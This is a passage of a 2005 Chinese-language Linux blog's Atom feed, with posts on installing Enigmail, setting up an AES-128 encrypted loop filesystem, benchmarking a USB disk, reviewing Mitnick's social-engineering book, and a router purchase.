href=&quot;http://enigmail.mozdev.org&quot;&gt;http://enigmail.mozdev.org&lt;/a&gt;下載，最後安裝還是失敗。&lt;br/&gt;&lt;br/&gt;也許是 mozilla-thunderbird-1.0.2-5.1.102mdk 版本太舊? 好吧，我決定從 &lt;a href=&quot;http://www.mozilla.com/thunderbird/&quot;&gt;Thunderbird&lt;/a&gt;網站直接下載升級 Thunderbird。不用 RPM 套件了！&lt;br/&gt;&lt;br/&gt;將下載回來的 thunderbird-1.0.7.tar.gz 解壓到 /usr/lib&lt;br/&gt;# tar zxf /tmp/thunderbird-1.0.7.tar.gz&lt;br/&gt;# mv thunderbird/ /usr/lib/mozilla-thunderbird-1.0.7&lt;br/&gt;再編輯 /usr/bin/mozilla-thunderbir，將其中 moz_libdir=/usr/lib/mozilla-thunderbird-1.0.2 字串改為&lt;br/&gt;moz_libdir=/usr/lib/mozilla-thunderbird-1.0.7&lt;br/&gt;&lt;br/&gt;然後下載 &lt;a href=&quot;http://www.mozilla-enigmail.org/downloads/enigmail-0.93.0-tb10-linux.xpi&quot;&gt;Enigmail-0.93.0&lt;/a&gt;後，執行 Thunderbird。&lt;br/&gt;再從 Thunderbird 裡的 Tools-&gt;Extensions 裡安裝 enigmail-0.93.0-tb10-linux.xpi。&lt;br/&gt;最後，重新執行 Thunderbird。&lt;br/&gt;&lt;br/&gt;&lt;img alt=&quot;enigmail_keymanager.png&quot; src=&quot;http://blog.linux.org.tw/~timhsu/archives/enigmail_keymanager.png&quot; width=&quot;300&quot; height=&quot;220&quot; border=&quot;0&quot; /&gt;&lt;br/&gt;&lt;br/&gt;太讚了，OpenPGP Key Management 可以用了。看來一切應該都正常可以用了。酷吧！&lt;br/&gt;&lt;br/&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/1036202189614887895/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/1036202189614887895' title='2 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/1036202189614887895'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/1036202189614887895'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2005/12/enigmail-openpgp_783.html' title='Enigmail OpenPGP'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-7326362936625086414</id><published>2005-12-05T23:19:00.002+08:00</published><updated>2009-02-03T15:17:48.466+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Security"/><title type='text'>加密式檔案系統</title><content type='html'>自從前兩天&lt;a href=&quot;http://blog.linux.org.tw/~timhsu/archives/001380.html&quot;&gt;可愛小硬碟&lt;/a&gt;入手後，我將它放入 USB Mobie Disk，不久，就發現一件悲慘的事情。&lt;br/&gt;&lt;br/&gt;我的 USB Mobie Disk 不愛穿衣服！&lt;br/&gt;&lt;br/&gt;一但我將 USB Mobie Disk 的上蓋蓋起來，USB 連接線一接上 X31，X31 馬上發瘋似地重開機，履試不爽。現在，只好讓它脫了上蓋，給它一個清涼，但外觀看起來就是沒這麼漂亮有質感啊！&lt;br/&gt;&lt;br/&gt;好吧，不愛穿衣服就算了。我又想到萬一某天，這顆備份資料用的小硬碟，不小心遺失了的話，我可不希望裡頭一些私密資料讓人看光光。於是乎，我就想試試 Linux 的加密式檔案系統。&lt;br/&gt;&lt;br/&gt;只不過，試了半天才發現，我現在用的 Linux 系統(MDK LE 2005)並不支援 AES Multi Key (V2=64 keys / V3=65 keys)。所以，底下的步驟是建立一個 10G 的加密式檔案系統，並利用 AES 128 加密。&lt;br/&gt;&lt;br/&gt;1. 建立一個約 10G 的大型檔案，檔案內容塞滿亂數資料&lt;br/&gt;&lt;br/&gt;# dd if=/dev/urandom of=mystuff bs=1M count=10000&lt;br/&gt;&lt;br/&gt;2. 產生單一 AES Single Key 並用 GPG 加密起來&lt;br/&gt;# head -c 2925 /dev/urandom | uuencode -m - | head -n 66 | tail -n 1 | gpg --symmetric -a &gt; /etc/fskey.gpg&lt;br/&gt;&lt;br/&gt;3. 將 mystuff 檔案利用 aes-128 加密並掛上 /dev/loop0&lt;br/&gt;# losetup -e aes-128 -K /etc/fskey.gpg /dev/loop0 mystuff&lt;br/&gt;&lt;br/&gt;4. 格式化&lt;br/&gt;# mkfs.ext3 /dev/loop0&lt;br/&gt;# tune2fs -m0 /dev/loop0&lt;br/&gt;&lt;br/&gt;5. 將 aes-128 加密的檔案系統掛載上 /mnt/crypto&lt;br/&gt;# mkdir /mnt/crypto&lt;br/&gt;# mount -t ext3 /dev/loop0 /mnt/crypto&lt;br/&gt;# df-h&lt;br/&gt;Filesystem            容量  已用 可用 已用% 掛載點&lt;br/&gt;/dev/loop0            9.7G   33M  9.6G   1% /mnt/crypto&lt;br/&gt;&lt;br/&gt;如果你有些敏感資料或很隱私的內容，需要以加密的方式儲存時，Linux 的加密式檔案系統將是一個不錯的選擇。&lt;br/&gt;&lt;br/&gt;參考資料：&lt;br/&gt;1. &lt;a href=&quot;http://www.ibiblio.org/pub/Linux/docs/HOWTO/other-formats/html_single/Cryptoloop-HOWTO.html&quot;&gt;Cryptoloop-HOWTO&lt;/a&gt;&lt;br/&gt;2. &lt;a href=&quot;http://loop-aes.sourceforge.net/loop-AES.README&quot;&gt;loop-AES.README&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/7326362936625086414/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/7326362936625086414' title='1 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/7326362936625086414'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/7326362936625086414'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2005/12/blog-post_05.html' title='加密式檔案系統'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-502805329882616992</id><published>2005-12-04T01:19:00.002+08:00</published><updated>2009-02-03T15:17:48.467+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><title type='text'>可愛小硬碟</title><content type='html'>下午跑去 NOVA 買了顆 2.5 吋 WD800UE 小硬碟，它的外觀如下：&lt;br/&gt;&lt;img alt=&quot;wdfMobile_EIDE_UE.jpg&quot; src=&quot;http://blog.linux.org.tw/~timhsu/archives/wdfMobile_EIDE_UE.jpg&quot; width=&quot;200&quot; height=&quot;200&quot; border=&quot;0&quot; /&gt;&lt;br/&gt;據說 &lt;a href=&quot;http://www.wdc.com/ch/products/Products.asp?DriveID=102&quot;&gt;WD Scorpio?&lt;/a&gt;技術還不錯，夠安靜。&lt;br/&gt;&lt;br/&gt;當然，回到家就馬上接上 X31，底下是 Linux 偵測到的硬體資訊：&lt;br/&gt;&lt;br/&gt;USB Mass Storage support registered.&lt;br/&gt;usb-storage: device found at 2&lt;br/&gt;usb-storage: waiting for device to settle before scanning&lt;br/&gt;Vendor: WDC WD80  Model: 0UE-00HCT0        Rev: 09.0&lt;br/&gt;Type:   Direct-Access                      ANSI SCSI revision: 00&lt;br/&gt;usb-storage: device scan complete&lt;br/&gt;SCSI device sda: 156301488 512-byte hdwr sectors (80026 MB)&lt;br/&gt;sda: assuming drive cache: write through&lt;br/&gt;&lt;br/&gt;接著用 fdisk /dev/sda 作切割：&lt;br/&gt;&lt;br/&gt;Command (m for help): p&lt;br/&gt;&lt;br/&gt;Disk /dev/sda: 80.0 GB, 80026361856 bytes&lt;br/&gt;255 heads, 63 sectors/track, 9729 cylinders&lt;br/&gt;Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br/&gt;&lt;br/&gt;Device Boot      Start         End      Blocks   Id  System&lt;br/&gt;/dev/sda1               1        9729    78148161   83  Linux&lt;br/&gt;&lt;br/&gt;再用 mkfs.ext3 -c -j /dev/sda 作檢查並格式化，最後用 tune2fs -m 0 將保留空間釋放。&lt;br/&gt;# mount /dev/sda1 /mnt/tmp/&lt;br/&gt;# df -h /dev/sda1&lt;br/&gt;Filesystem            容量  已用 可用 已用% 掛載點&lt;br/&gt;/dev/sda1              74G   33M   74G   1% /mnt/tmp&lt;br/&gt;&lt;br/&gt;來測測看速度吧！X31 裡硬碟的速度：&lt;br/&gt;# hhdparm -t /dev/hda&lt;br/&gt;/dev/hda:&lt;br/&gt;Timing buffered disk reads:   74 MB in  3.00 seconds =  24.66 MB/sec&lt;br/&gt;而新入手的 WD 小硬碟呢&lt;br/&gt;# dparm -t /dev/sda&lt;br/&gt;/dev/sda:&lt;br/&gt;Timing buffered disk reads:   60 MB in  3.05 seconds =  19.64 MB/sec&lt;br/&gt;&lt;br/&gt;嗯，慢了一點，不過還是適合我用來備份資料 :)&lt;br/&gt;&lt;br/&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/502805329882616992/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/502805329882616992' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/502805329882616992'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/502805329882616992'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2005/12/blog-post_7226.html' title='可愛小硬碟'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-415472728967704307</id><published>2005-11-24T02:49:00.002+08:00</published><updated>2009-02-03T15:17:48.467+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="book"/><title type='text'>駭客大騙局</title><content type='html'>The Art of Deception: Controlling the Human Element of Security&lt;br/&gt;&lt;br/&gt;本書作者是駭客界鼎鼎大名的 &lt;a href=&quot;http://www.rotten.com/library/bio/hackers/kevin-mitnick/&quot;&gt;Kevin David Mitnick&lt;/a&gt;。當年他被拘捕後，駭客界成立了 &lt;a href=&quot;http://www.freekevin.com/&quot;&gt;Free Kevin 網站&lt;/a&gt;要求美國政府將他釋放。 2003 年，Kevin 出獄，目前成立了一家 &lt;a href=&quot;http://www.kevinmitnick.com/&quot;&gt; 資訊安全公司 &lt;/a&gt;。&lt;br/&gt;&lt;br/&gt;駭客大騙局這本書都是在描述社交工程(Social engineering)。作者虛構了許多小故事，其中內容宛如電影情節般，利用假冒的身份和高段的談話技巧等，入侵企業設施，竊取商業機密。作者也進一步描述如何預防社交工程的攻擊，以及提供一些忠告。&lt;br/&gt;&lt;br/&gt;我不禁會想到，台灣治安最頭大的詐騙集團也是操作社交工程技倆的佼佼者啊。如果人人都學了社交工程，也許我們善良百姓還能以反社交工程回敬對方呢。&lt;br/&gt;&lt;br/&gt;當然，如果有人利用&lt;a href=&quot;http://slashdot.org/it/05/03/28/1517225.shtml&quot;&gt; 巧克力攻擊法 &lt;/a&gt;，我也會跟著乖乖交出密碼的啦。&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/415472728967704307/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/415472728967704307' title='0 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/415472728967704307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/415472728967704307'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2005/11/blog-post_23.html' title='駭客大騙局'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-2897355799842508463</id><published>2005-11-21T08:32:00.002+08:00</published><updated>2009-02-03T15:17:48.468+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="feeling"/><title type='text'>製作長生不死藥</title><content type='html'>剛看完成龍的電影 - &lt;a href=&quot;http://movie.starblvd.net/cgi-bin/movie/euccns?/film/2005/TheMyth/TheMyth.html&quot;&gt;神話&lt;/a&gt;&lt;br/&gt;我可能比較冷血一點，體會不出劇中的痴情浪漫，倒是對麗山瀑布後的秦陵巧思，以及女主角金善喜小姐的楚楚之美，覺得印象十分深刻。&lt;br/&gt;不過，我卻對長生不死藥的研發，心裡啟了疑竇。&lt;br/&gt;假若我在古代要研究長生不死藥，要怎麼證明藥的效用? 或是秦始皇要如何證明藥是有效的呢? 研發長生不死藥的人，總要人體實驗後才能知道效果，才知道有無副作用。但研發的人如果活得不夠久，根本就研發不出來啊。&lt;br/&gt;&lt;br/&gt;下面這段文字節錄於 &lt;a href=&quot;http://politics.people.com.cn/BIG5/30178/3726750.html&quot;&gt;凡事大前未有樣者，不易做&lt;/a&gt; ，剛好和電影神話裡的劇情有關。&lt;br/&gt;&lt;br/&gt;&lt;i&gt;公元前212年，發生了歷史上有名的坑儒事件。坑儒是由方士求神仙不得引起的。俗話說得好，人的欲望是無止境的，當了皇帝就想長生不死，秦始皇就是這樣。當時有兩個方術之士侯生和盧生，投其所好，答應給秦始皇找長生不死藥，但他們到哪裡去弄呢？很快就到了交差的時間。沒辦法，他們隻好散布說秦始皇剛愎自用，貪於權勢，所以求不到仙藥，並且逃走了。秦始皇知道后非常惱火，下令御史追查此事。在追捕中牽涉了460多人，除方士之外還有一批對秦始皇心懷不滿的儒生。秦始皇盛怒之下，將這些人全部坑殺。第二年，東郡（今河南濮陽）落下一塊大隕石，有人偷偷在石頭上刻了?始皇帝死而地分?七個字。秦始皇還是派御史去調查，因找不到刻字的人，結果將居住在隕石周圍的百姓全部殺光。&lt;/i&gt;&lt;br/&gt;&lt;br/&gt;古代的歷史或神話故事，都反映了中國人對長生不死的執著，人們除了希望長生不死，還希望青春健康。&lt;br/&gt;萬一將來真有那麼一天，順了人們長生不死的願，身份證上還得寫上萬歲萬歲萬萬歲呢。&lt;br/&gt;&lt;br/&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/2897355799842508463/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/2897355799842508463' title='1 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/2897355799842508463'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/2897355799842508463'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2005/11/blog-post_2940.html' title='製作長生不死藥'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9219253365790587780.post-5768395933187369889</id><published>2005-11-21T04:20:00.001+08:00</published><updated>2009-02-03T15:17:48.468+08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="feeling"/><title type='text'>奇怪的 Zyxel P-330W</title><content type='html'>&lt;br/&gt;今天到燦坤買了台 Zyxel P-330W 無線寬頻分享器，外表看來還蠻可愛的，會員價不到兩千元，還送 7-11 的 iCash 卡。&lt;br/&gt;&lt;img alt=&quot;zyxel_p330w.gif&quot; src=&quot;http://blog.linux.org.tw/~timhsu/images/zyxel_p330w.gif&quot; width=&quot;150&quot; height=&quot;150&quot; border=&quot;0&quot; /&gt;&lt;br/&gt;&lt;br/&gt;沒想到，買回去接到網路上，PPPoE 撥接竟然屢次失敗 :(&lt;br/&gt;不甘心，連到 Zyxel 網站上，竟然找不到 P-330W 型號，也沒有 firmware 好下載. 好不容易從 google 問到一個官方 firmware 卻是奇怪的 V1.4 版本。&lt;br/&gt;沒辦法，死馬當活馬醫，把下載回的奇怪 V1.4 版本上傳更新後，那隻可愛的 P-330W 管理介面變成了英文版，重點是，PPPoE 撥接還是不行。&lt;br/&gt;&lt;br/&gt;怒了後，只好跑回燦坤，燦坤的維修工程師沒有環境可以測試 PPPoE 撥接，最後加了幾百塊換了 D-Link DI-524 Wireless Router。&lt;br/&gt;&lt;br/&gt;結果呢? DI-524 設定完 PPPoE 撥接帳號密碼，就馬上連上 Internet 了啊。&lt;br/&gt;突然想到，奇怪的 P-330W 只讓我輸入帳號、密碼，不像 DI-524 還會要求再輸入密碼確認。&lt;br/&gt;雖然我對 D-Link 也沒啥好感，不過還真的比較好用，而那個  Zyxel 會不會也太扯了點，&lt;br/&gt;Zyxel P-330W 還是用 Embedded Linux 作的哩。&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;</content><link rel='replies' type='application/atom+xml' href='http://timhsu.chroot.org/feeds/5768395933187369889/comments/default' title='張貼留言'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/9219253365790587780/5768395933187369889' title='6 個意見'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/5768395933187369889'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9219253365790587780/posts/default/5768395933187369889'/><link rel='alternate' type='text/html' href='http://timhsu.chroot.org/2005/11/zyxel-p-330w_20.html' title='奇怪的 Zyxel P-330W'/><author><name>timhsu</name><uri>http://www.blogger.com/profile/01485661055273606967</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry></feed>